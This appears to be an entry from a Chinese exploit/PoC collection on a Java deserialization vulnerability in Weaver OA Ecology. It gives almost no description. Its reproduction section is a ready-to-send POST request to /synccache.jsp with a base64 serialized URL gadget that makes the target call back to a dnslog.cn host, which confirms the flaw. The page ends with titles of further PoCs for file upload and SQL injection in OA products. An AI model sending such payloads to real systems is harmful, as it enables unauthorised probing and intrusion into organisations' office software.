泛微OA Ecology-泛微OA反序列化漏洞

[Shacker已验证会员]

## 漏洞概述

暂无详情

## 影响范围

```http
未知
```

## 漏洞复现

生成反序列化 payload

```bash
java -jar xx | base64
```

```http
POST /synccache.jsp HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

data=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVz
aG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFz
aENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgAD
TAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAEHg4Yzgy
dy5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQAF2h0dHA6Ly94OGM4MncuZG5zbG9nLmNueA==
```

 

POC  泛微OA `weaver.common.Ctrl` 存在任意文件上传漏洞

兰陵OA  EKP 后台SQL注入漏洞 CNVD-2021-01363